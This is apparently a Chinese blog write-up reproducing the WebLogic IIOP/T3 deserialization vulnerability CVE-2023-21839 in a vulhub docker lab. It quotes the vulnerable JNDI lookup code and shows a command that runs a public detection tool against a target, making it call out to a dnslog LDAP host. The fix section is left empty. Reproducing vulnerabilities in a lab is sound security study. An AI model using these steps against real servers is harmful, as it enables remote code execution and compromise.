前言

序列化(Serialization):将对象的状态信息转换为可以存储或传输的形式的过程,一般将对象转换为字节流。序列化时,对象的当前状态被写入到临时或持久性存储区(文件、内存、数据库等)。

反序列化(Deserialization):从序列化的表示形式中提取数据,即把有序字节流恢复为对象的过程

反序列化攻击:攻击者控制了序列化后的数据,将有害数据传递到应用程序代码中,发动针对应用程序的攻击

Weblogic简介

WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。

漏洞详情

由于Weblogic IIOP/T3协议存在缺陷,当IIOP/T3协议开启时,允许未经身份验证的攻击者通过IIOP/T3协议网络访问攻击存在安全风险的WebLogic Server,漏洞利用成功WebLogic Server可能被攻击者接管执行任意命令导致服务器沦陷或者造成严重的敏感数据泄露。

漏洞影响版本

Weblogic 12.2.1.3.0
Weblogic 12.2.1.4.0
Weblogic 14.1.1.0.0

环境搭建

在vulhub社区更新了此漏洞,直接拉取该环境即可

下载地址:https://github.com/vulhub/vulhub
clone下载项目:git clone https://github.com/vulhub/vulhub.git
cd weblogic  //进入weblogic文件夹
cd CVE-2023-21839  //进入CVE-2023-21839漏洞文件夹
docker-compose up -d //开启漏洞环境,拉取镜像
docker ps  //查看当前docker运行情况,可以看到该漏洞环境已经开启

Weblogic反序列化(CVE-2023-21839)漏洞复现-LMLPHP

Weblogic反序列化(CVE-2023-21839)漏洞复现-LMLPHP

Weblogic反序列化(CVE-2023-21839)漏洞复现-LMLPHP

漏洞复现

package weblogic.jndi.internal;
//进入反序列化
public class ForeignOpaqueReference implements OpaqueReference, Serializable {                  
    private Hashtable jndiEnvironment;
    private String remoteJNDIName;
        ......
    public ForeignOpaqueReference(String remoteJNDIName, Hashtable env) {
        this.remoteJNDIName = remoteJNDIName;
        this.jndiEnvironment = env;
    }
    public Object getReferent(Name name, Context ctx) throws NamingException {
        InitialContext context;
        if (this.jndiEnvironment == null) {
            context = new InitialContext();
        } else {
            Hashtable properties = this.decrypt();
            context = new InitialContext(properties);
        }
        Object retVal;
        try {
            retVal = context.lookup(this.remoteJNDIName);   // 漏洞点
        } finally {
            context.close();
        }
        return retVal;
    }
    ......
}
package weblogic.jndi;
public interface OpaqueReference {
    Object getReferent(Name var1, Context var2) throws NamingException;
    String toString();
}

ForeignOpaqueReference 类的 getReferent() 方法调用在WLNamingManager类中。

在 WLNamingManager 类的 getObjectInstance() 方法中,当传入的 boundObject 对象实现了 OpaqueReference 接口时,则会调用该对象的 getReferent() 方法,即 boundObject = ((OpaqueReference)boundObject).getReferent(name, ctx);。

package weblogic.jndi.internal;
public final class WLNamingManager {
    public static Object getObjectInstance(Object boundObject, Name name, Context ctx, Hashtable env) throws NamingException {
        if (boundObject instanceof ClassTypeOpaqueReference) {
                        ......
        } else if (boundObject instanceof OpaqueReference) {
            boundObject = ((OpaqueReference)boundObject).getReferent(name, ctx);
        } else if (boundObject instanceof LinkRef) {
      ...
        }
    }
}
下载漏洞检测工具用于测试是否存在该漏洞
https://github.com/4ra1n/CVE-2023-21839

使用官方提供的工具需要使用go语言编译
cd cmd
go build -o CVE-2023-21839.exe

Weblogic反序列化(CVE-2023-21839)漏洞复现-LMLPHP

使用dnslog检测

CVE-2023-21839.exe -ip 192.168.31.230 -port 7001 -ldap ldap://2qdt3z.dnslog.cn

Weblogic反序列化(CVE-2023-21839)漏洞复现-LMLPHP

修复方式

06-04 10:07